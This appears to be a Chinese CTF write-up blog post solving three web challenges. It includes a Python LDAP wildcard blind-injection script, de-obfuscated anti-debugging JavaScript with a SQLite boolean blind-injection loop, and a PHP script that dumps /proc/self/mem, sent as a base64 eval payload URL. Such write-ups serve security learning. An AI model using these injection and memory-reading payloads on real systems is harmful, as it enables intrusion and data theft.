打比赛的时候要不是在忙别的,就是在出去玩,就做了一个密码,但是在队友们的血C下拿了一个第四,其中elegant-crazy还在赛后6小时干出一道零解题,在这里贴一下我们的官方wp:https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/
然后补了补题,wschat那个题真的把我搞得大残。
easyinject 是一个注入题,但是好像没有发现注入点,fuzz后发现在用户名字段输入括号会有warning回显到前端,发现是使用了ldap协议。
借此机会学习了一下ldap协议,学习资料:https://www.anquanke.com/post/id/212186
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询。
然后就类似sql注入,有很多注入手法,本题注释里写了一个叫做guest
的用户,我们可以用通配符测试一下:发现username为*
和g*
以及gu*
都是能返回用户的,于是做一个简单的布尔盲注就可以,由于有多个用户,写个dfs即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = 'http://47.106.172.144:2333/?user={}&pass=1' r = requests.get(url) dic = "qwertyuiopasdfghjklzxcvbnm1234567890_" def dfs (payload ): for i in dic: nowpayload = payload + i r = requests.get(url.format (nowpayload + '*' )) if "密码错误" in r.text or "用户不唯一" in r.text: print (nowpayload) dfs(nowpayload) dfs('' )
wschat 零解题,知识点特别简单:前端绕过+sql注入,没了,但之所以是零解题,那必然是有自己的恶心之处。
首先需要看懂这个前端经过简单混淆的js代码,经过机器美化以及我的美化,最终长这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 (function ( ) { const gotoNewOfflinePage = function ( ) { let y$$ = true ; return function (R, create ) { const voronoi = y$$ ? function ( ) { if (create) { const fn3 = create["apply" ](R, arguments ); return create = null , fn3; } } : function ( ) { }; return y$$ = false , voronoi; }; }(); (function ( ) { gotoNewOfflinePage(this , function ( ) { const PL$37 = new RegExp ("function *\\( *\\)" ); const PL$26 = new RegExp ("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)" , "i" ); const PL$36 = _0x6c017f("init" ); if (!PL$37. test(PL$36 + "chain" ) || !PL$26. test(PL$36 + "input" )) { PL$36 ("0" ); } else { _0x6c017f(); } })(); })(); const result = { "isOpen" : false , "orientation" : undefined }; const _0x14edab = 160 ; const emitEvent = (button, value ) => { window .dispatchEvent(new CustomEvent("devtoolschange" , { "detail" : { "isOpen" : button, "orientation" : value } })); }; const load = ({ emitEvents : fromSubmit = true } = {} ) => { const orientation = window .outerWidth - window .innerWidth > _0x14edab; const _0x4ca755 = window .outerHeight - window .innerHeight > _0x14edab; const y = orientation ? "vertical" : "horizontal" ; if (!(_0x4ca755 && orientation) && (window ["Firebug" ] && window ["Firebug" ]["chrome" ] && window ["Firebug" ]["chrome" ]["isInitialized" ] || orientation || _0x4ca755)) { if ((!result["isOpen" ] || result["orientation" ] !== y) && fromSubmit) { emitEvent(true , y); } result["isOpen" ] = true ; result["orientation" ] = y; } else { if (result["isOpen" ] && fromSubmit) { emitEvent(false , undefined ); } result["isOpen" ] = false ; result["orientation" ] = undefined ; } }; load({ "emitEvents" : false }); if (typeof module !== "undefined" && module ["exports" ]) { module ["exports" ] = result; } else { window ["devtools" ] = result; } })(); window ["addEventListener" ]("devtoolschange" , (err ) => { document ["documentElement" ]["innerHTML" ] = "Hacker!<br>" ; }); let sock = io.connect("ws://" + window .location.host + "/" );var WSMessage;var wsmessage;var buffer;protobuf.load("chat.proto" , function (err, def ) { if (err) { throw err; } LoginReq = def.lookup("wschat.chat.LoginReq" ); RegReq = def.lookup("wschat.chat.RegReq" ); ServerRsp = def.lookup("wschat.chat.ServerRsp" ); MsgReq = def.lookup("wschat.chat.MsgReq" ); LogoutReq = def.lookup("wschat.chat.LogoutReq" ); }), window .onload = function ( ) { let fn = "" ; let htmlAttributes = document .getElementByld("btn1" ); let attributes = document .getElementByld("btn2" ); let data_layer = document .getElementByld("btn_send" ); let list = document .getElementByld("user" ); let item = document .getElementByld("pass" ); let result = document .getElementByld("txt1" ); let hl = document .getElementByld("ul1" ); htmlAttributes.onclick = function ( ) { var buffer = RegReq.create({ "username" : list["value" ], "password" : item["value" ] }); var labels = RegReq.encode(buffer).finish(); sock.emit("reg" , labels.slice()["buffer" ]); }; sock.on("reg_ret" , (err, bbls ) => { if (err) { alert(bbls); } else { alert(bbls); } }); attributes.onclick = function ( ) { var buffer = LoginReq.create({ "username" : list["value" ], "password" : item["value" ] }); var labels = LoginReq.encode(buffer).finish(); sock.emit("login" , labels.slice()["buffer" ]); }; sock.on("login_ret" , (err, bbls ) => { if (err) { alert(bbls); } else { fn = list["value" ]; alert(bbls); } }); data_layer.onclick = function ( ) { var buffer = MsgReq.create({ "msg" : result["value" ] }); var labels = MsgReq.encode(buffer).finish(); sock.emit("msg" , labels.slice()["buffer" ]); }; sock.on("msg" , (err, isSlidingUp ) => { let node = document .createElement("li" ); node.innerHTML = "<h3>" + err + "</h3><p>" + isSlidingUp + "</p>" ; hl.appendChild(node); }); sock.on("msg_ret" , (err, theLibrary ) => { if (err) { alert("发送失败:" + theLibrary); } else { let node = document .createElement("li" ); node.className = "mine" ; node.innerHTML = "<h3>" + fn + "</h3><p>" + result["value" ] + "</p>" ; hl.appendChild(node); result["value" ] = "" ; } }); }, setInterval (function ( ) { _0x6c017f(); }, 4E3 ); function _0x6c017f (event ) { function next (i ) { next(++i); } try { if (event) { return next; } else { next(0 ); } } catch (_0xf40179) { } }
代码还是比较浅显易懂的,分为几部分:第一部分是反调试,他用了几种常见的手法检测你是否开了F12,比如是devtools,还有浏览器窗口比例等等,采取的对应措施是直接回显hacker
,以及在某一个断点无限debug,还有就是在浏览器load的时候直接500,导致的后果就是我火狐直接卡死,这些都是一些反调试手法。第二部分是对于username和passwd的一个过滤,只允许有数字和正常字符。第三部分就是和后端走的sock.io
的通讯,我们之后再说。
代码看起来美观,但好像执行不了,这题的patch我们只需要把一些关键部分注释了即可,所以我又回去改原来的代码了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 <!DOCTYPE html > <html > <head > <meta charset ="utf-8" /> <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <title > 聊天室</title > <meta name ="viewport" content ="width=device-width, initial-scale=1" > <script src ="//cdn.bootcss.com/socket.io/2.1.1/socket.io.js" > </script > <script src ="protobuf.min.js" > </script > <style > .mine { color :green; } Body {background :url (bg.webp ); background-repeat :no-repeat; background-size :100% ; } input { background-color : transparent; } textarea { background-color : transparent; } </style > </head > <body > 用户名:<input type ="text" id ="user" /> <br > 密 码:<input type ="password" id ="pass" > <br > <input type ="button" value ="注册" id ="btn1" > <input type ="button" value ="登录" id ="btn2" > <hr > <textarea name ="" id ="txt1" cols ="80" rows ="10" > </textarea > <input type ="button" value ="发送" id ="btn_send" > <ul id ="ul1" > </ul > <script > (function ( ) { const _0x476866 = function ( ) { let _0x4bb9fc = !![]; return function (_0x58c9dc, _0x4b0a21 ) { const _0xf76523 = _0x4bb9fc ? function ( ) { if (_0x4b0a21) { const _0x635e3f = _0x4b0a21['apply' ](_0x58c9dc, arguments ); return _0x4b0a21 = null , _0x635e3f; } } : function ( ) { }; return _0x4bb9fc = ![], _0xf76523; }; }(); (function ( ) { _0x476866(this , function ( ) { const _0x22f222 = new RegExp ('function\x20*\x5c(\x20*\x5c)' ), _0x28c056 = new RegExp ('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)' , 'i' ), _0x5d5775 = _0x6c017f('init' ); !_0x22f222['test' ](_0x5d5775 + 'chain' ) || !_0x28c056['test' ](_0x5d5775 + 'input' ) ? _0x5d5775('0' ) : _0x6c017f(); })(); }()); 'use strict' ; const _0x2fe348 = { 'isOpen' : ![], 'orientation' : undefined }, _0x14edab = 0xa0 , _0x3b75b5 = (_0x231b41, _0x547b1f ) => { window ['dispatchEvent' ](new CustomEvent('devtoolschange' , { 'detail' : { 'isOpen' : _0x231b41, 'orientation' : _0x547b1f } })); }, _0x572096 = ({ emitEvents: emitEvents = !![] } = {} ) => { const _0x112831 = window ['outerWidth' ] - window ['innerWidth' ] > _0x14edab, _0x4ca755 = window ['outerHeight' ] - window ['innerHeight' ] > _0x14edab, _0x80c7cf = _0x112831 ? 'vertical' : 'horizontal' ; !(_0x4ca755 && _0x112831) && (window ['Firebug' ] && window ['Firebug' ]['chrome' ] && window ['Firebug' ]['chrome' ]['isInitialized' ] || _0x112831 || _0x4ca755) ? ((!_0x2fe348['isOpen' ] || _0x2fe348['orientation' ] !== _0x80c7cf) && emitEvents && _0x3b75b5(!![], _0x80c7cf), _0x2fe348['isOpen' ] = !![], _0x2fe348['orientation' ] = _0x80c7cf) : (_0x2fe348['isOpen' ] && emitEvents && _0x3b75b5(![], undefined ), _0x2fe348['isOpen' ] = ![], _0x2fe348['orientation' ] = undefined ); }; _0x572096({ 'emitEvents' : ![] }), typeof module !== 'undefined' && module ['exports' ] ? module ['exports' ] = _0x2fe348 : window ['devtools' ] = _0x2fe348; }()); let sock = io['connect' ]('ws://' + window ['location' ]['host' ] + '/' );var WSMessage, wsmessage, buffer;protobuf['load' ]('chat.proto' , function (_0x1e8bc6, _0x75e501 ) { if (_0x1e8bc6) throw _0x1e8bc6; LoginReq = _0x75e501['lookup' ]('wschat.chat.LoginReq' ), RegReq = _0x75e501['lookup' ]('wschat.chat.RegReq' ), ServerRsp = _0x75e501['lookup' ]('wschat.chat.ServerRsp' ), MsgReq = _0x75e501['lookup' ]('wschat.chat.MsgReq' ), LogoutReq = _0x75e501['lookup' ]('wschat.chat.LogoutReq' ); }), window ['onload' ] = function ( ) { let _0x1f4215 = '' , _0x1139cf = document ['getElementById' ]('btn1' ), _0x2af11b = document ['getElementById' ]('btn2' ), _0x413d89 = document ['getElementById' ]('btn_send' ), _0x29d952 = document ['getElementById' ]('user' ), _0x22dda2 = document ['getElementById' ]('pass' ), _0x2c48a5 = document ['getElementById' ]('txt1' ), _0x5900fb = document ['getElementById' ]('ul1' ); _0x1139cf['onclick' ] = function ( ) { var _0x3689c9 = RegReq['create' ]({ 'username' : _0x29d952['value' ], 'password' : _0x22dda2['value' ] }), _0x38c60d = RegReq['encode' ](_0x3689c9)['finish' ](); sock['emit' ]('reg' , _0x38c60d['slice' ]()['buffer' ]); }, sock['on' ]('reg_ret' , (_0x77442, _0x4d8078 ) => { _0x77442 ? alert(_0x4d8078) : alert(_0x4d8078); }), _0x2af11b['onclick' ] = function ( ) { var _0xea8ad4 = LoginReq['create' ]({ 'username' : _0x29d952['value' ], 'password' : _0x22dda2['value' ] }), _0x581e63 = LoginReq['encode' ](_0xea8ad4)['finish' ](); sock['emit' ]('login' , _0x581e63['slice' ]()['buffer' ]); }, sock['on' ]('login_ret' , (_0x253784, _0x4ca143 ) => { _0x253784 ? alert(_0x4ca143) : (_0x1f4215 = _0x29d952['value' ], alert(_0x4ca143));alert(_0x4ca143.indexOf("成功" ) != -1 ); }), _0x413d89['onclick' ] = function ( ) { var _0x254c70 = MsgReq['create' ]({ 'msg' : _0x2c48a5['value' ] }), _0x56ebdb = MsgReq['encode' ](_0x254c70)['finish' ](); sock['emit' ]('msg' , _0x56ebdb['slice' ]()['buffer' ]); }, sock['on' ]('msg' , (_0x2378cb, _0x4ce8f4 ) => { let _0x3ca130 = document ['createElement' ]('li' ); _0x3ca130['innerHTML' ] = '<h3>' + _0x2378cb + '</h3><p>' + _0x4ce8f4 + '</p>' , _0x5900fb['appendChild' ](_0x3ca130); }), sock['on' ]('msg_ret' , (_0x491ba1, _0x25dec1 ) => { if (_0x491ba1) alert('发送失败:' + _0x25dec1); else { let _0x4a7033 = document ['createElement' ]('li' ); _0x4a7033['className' ] = 'mine' , _0x4a7033['innerHTML' ] = '<h3>' + _0x1f4215 + '</h3><p>' + _0x2c48a5['value' ] + '</p>' , _0x5900fb['appendChild' ](_0x4a7033), _0x2c48a5['value' ] = '' ; } }); }, setInterval (function ( ) { _0x6c017f(); }, 0xfa0 ); function _0x6c017f (_0x19de66 ) { function _0x2ed5ce (_0x255d4e ) { } try { if (_0x19de66) return _0x2ed5ce; else _0x2ed5ce(0x0 ); } catch (_0xf40179) { } } </script > </body > </html >
对于前两个部分,毕竟都是在前端的操作,我们自然是可以操作的了,上面的代码已经是我经过patch后的了,我们采用一个代理工具charles
把根目录的html的js部分替换为上述部分:
(在Map to local path部分修改为本地文件,这样在经过代理,到我们浏览器的环境都是我经过patch的js了。)
elegant-crazy师傅采用的是burp在代理设置的时候把alert()return那些部分替换为空了,能绕过对username的检测,但是绕不过反调试。
然后就到了第三部分,提示里说了sqli me,显然是一个sql注入了,hint里说了是用sqlite的数据库,
上网查了一下所有sqlite的注入技巧:学习资料:https://xz.aliyun.com/t/10308#toc-10
注入点太明显了,没有任何过滤,但是回显只有两种,只能采用盲注的办法。盲注的脚本在上述文章里也有现成的,出这题胜利在望,结果这才是折磨的开始。
elegant-crazy师傅是用python调了protobuf库,实现的盲注,所有的sock事件全要自己手写一遍,很是累, 我寻思着在js里人家都写好了,我直接在js部分添加了盲注的部分就好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 sock['on' ]('login_ret' , (_0x253784, _0x4ca143 ) => { _0x253784 ? ( console .log(_0x4ca143), returned = (_0x4ca143.indexOf("成功" ) != -1 ), locked = true ) : ( _0x1f4215 = _0x29d952['value' ], returned = (_0x4ca143.indexOf("成功" ) != -1 ), locked = true , console .log(_0x4ca143)); }); var ans = "" ; var flag = false ; for (let i = 1 ; i < 5 ; i++) { flag = false ; let low = 32 ; let high = 128 ; let mid = (low+high )/ 2 let midchar = String .fromCharCode(mid); while (low<high){ let payload = "admin' and substr((select hex(group_concat(sql)) from sqlite_master)," + i + ",1)>'" + midchar + "';" ; var buffer = LoginReq['create' ]({ "username" : payload, "password" : "123" }); console .log(payload); var _0x581e63 = LoginReq['encode' ](buffer)['finish' ](); sock['emit' ]('login' , _0x581e63['slice' ]()['buffer' ]); for (let j = 1 ; j < 1000000000 ; j++){} locked = false ; console .log(returned); if (returned === false ){ low = mid + 1 ; } else { high = mid; } mid = Math .floor((low+high) / 2 ); if (mid === 32 || mid === 127 ){flag = true ; break ;} midchar = String .fromCharCode(mid); console .log(mid); } ans = ans + midchar; console .log(ans); } console .log(ans);
但是结果不尽人意,所有的返回都是true,我的布尔盲注的结果需要依托sock.io(login_ret)
这个事件触发后的回调函数的执行,可是因为这个事件执行并不是我们想象的那种串行的,所以导致顺序错乱,无法进行布尔盲注。
解决措施有,就是加锁,设了一个全局变量,当且仅当回调函数执行时解锁,平时状态是死循环状态。elegant-crazy师傅就是采用的这种办法,能成功顺序返回,但是我加了锁之后就变成浏览器堵塞了,完全轮不到回调函数执行。
思考了很久问题所在,也尝试用async和await的方法去强制等待事情的返回,强行延时1秒钟,但都失败了。
第二天早上起来搜到了这两篇文章:https://www.coder.work/article/5073843,https://stackoverflow.com/questions/51372997/socket-io-how-to-send-multiple-messages-sequentially
大概意思就是node实现这块还用了一个缓冲区,等挤在到一定数量的时候才会发送,js盲注失败了。
本题还可以用selenium模拟我的操作(但是我不会怎么挂代理替换js),毕竟有我思考上面问题的那段时间,我觉得我手工盲注也差不多该出了。
一言以蔽之,还是用python实现protobuf的事件交互是最简单的。
最后附上有关sock.io
和protobuf
的一些资料吧。
https://socket.gitbook.io/docs/
http://www.febeacon.com/protobuf_docs_zh_cn/routes/installation.html
hideandseek 和web没有啥关系,和二进制全是关系。
先附上打本地的DockerFile:
1 2 3 4 5 6 7 8 FROM php:8.1 .0 ADD ./src /var/www/html ADD ./flag /flag WORKDIR /var/www/html/ RUN chmod -R 0555 /var/www/html/ CMD ["php" , "-S" , "0.0.0.0:8000" , "-t" , "/var/www/html" ]
这题上先读flag,然后把flag给覆盖了,你只有一次执行任意代码的机会。
思路上来一下子就指向了/proc
,进程目录,我们肯定是能通过分析这个进程把flag拿到了。目前已知的/proc
的博客有:
https://whoamianony.top/2021/06/09/Web%E5%AE%89%E5%85%A8/Proc%20%E7%9B%AE%E5%BD%95%E5%9C%A8%20CTF%20%E4%B8%AD%E7%9A%84%E5%A6%99%E7%94%A8/
https://xz.aliyun.com/t/10579
第一反应是读fd,看看文件的符号链接,如果fopen了,但没fclose就有可能在fd里找到,本地一试发现没有。
于是考虑利用别的,比如./exe
,是一个ELF文件,但可惜strings ./exe
没用,因为flag变量是在运行时读取的,生成elf是不存在这个字符串的,于是就读./mem
,/proc/{PID}/mem
是可用于访问进程的内存的页面。但是发现读取失败了,报错如下:
1 cat mem: Input/output error
搜到了解释原因:https://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux
/proc/$pid/mem
显示$pid 内存的内容与进程中的映射方式相同,即伪文件中偏移x 处的字节与进程中地址x 处的字节相同。如果在进程中未映射地址,则从文件中的相应偏移量读取返回EIO
(输入/输出错误)。例如,由于进程中的第一页永远不会被映射(因此取消引用NULL
指针会完全失败,而不是无意中访问实际内存),因此读取 的第一个字节/proc/$pid/mem
总是会产生 I/O 错误。
同时也拿到了一份用python拿内存信息的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import remaps_file = open ("/proc/self/maps" , 'r' ) mem_file = open ("/proc/self/mem" , 'rb' , 0 ) output_file = open ("self.dump" , 'wb' ) for line in maps_file.readlines(): m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])' , line) if m.group(3 ) == 'r' : start = int (m.group(1 ), 16 ) end = int (m.group(2 ), 16 ) mem_file.seek(start) chunk = mem_file.read(end - start) output_file.write(chunk) maps_file.close() mem_file.close() output_file.close()
我盲猜flag就在内存里,但我也不是打二进制的,也不知道在哪,于是就打算把整个chunk全部正则匹配即可。
把上述代码翻译成php,修改部分内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $maps_file = fopen("/proc/self/maps" , "r" );$mem_file = fopen("/proc/self/mem" , "rb" );while (! feof($maps_file )) { $line = fgets($maps_file ); $m = preg_match("/([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])/" , $line , $match ); if ($match [3 ] == 'r' ) { $start = hexdec($match [1 ]); $end = hexdec($match [2 ]); fseek($mem_file , $start ); $chunk = fread($mem_file , $end - $start ); if (preg_match("/flag\{.*\}/" , $chunk )) { preg_match("/(flag\{.*\})/" , $chunk , $ans ); var_dump($ans ); } } } fclose($maps_file ); fclose($mem_file ); ?>
最后用base64+urlencode传参(有了安洵杯的教训,base64一定要编码),最终payload如下:
1 http://5b599005-3dfe-44e4-ac13-96fc3b194f3e.nssctf.neusoft.edu.cn/?eval=eval(base64_decode(%22JG1hcHNfZmlsZSA9IGZvcGVuKCIvcHJvYy9zZWxmL21hcHMiLCAiciIpOwokbWVtX2ZpbGUgPSBmb3BlbigiL3Byb2Mvc2VsZi9tZW0iLCAicmIiKTsKd2hpbGUoISBmZW9mKCRtYXBzX2ZpbGUpKSB7CiAgICAgICAgJGxpbmUgPSBmZ2V0cygkbWFwc19maWxlKTsvL2ZnZXRzKCnlh73mlbDku47mlofku7bmjIfpkojkuK3or7vlj5bkuIDooYwKICAgICAgICAgICAgJG0gPSBwcmVnX21hdGNoKCIvKFswLTlBLUZhLWZdKyktKFswLTlBLUZhLWZdKykgKFstcl0pLyIsICRsaW5lLCAkbWF0Y2gpOwogICAgICAgICAgICBpZigkbWF0Y2hbM10gPT0gJ3InKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gaGV4ZGVjKCRtYXRjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRlbmQgPSBoZXhkZWMoJG1hdGNoWzJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZnNlZWsoJG1lbV9maWxlLCAkc3RhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNodW5rID0gZnJlYWQoJG1lbV9maWxlLCAkZW5kIC0gJHN0YXJ0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi9mbGFnXHsuKlx9LyIsICRjaHVuaykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi8oZmxhZ1x7LipcfSkvIiwgJGNodW5rLCAkYW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyX2R1bXAoJGFucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KfQpmY2xvc2UoJG1hcHNfZmlsZSk7CmZjbG9zZSgkbWVtX2ZpbGUpOw%3D%3D%22));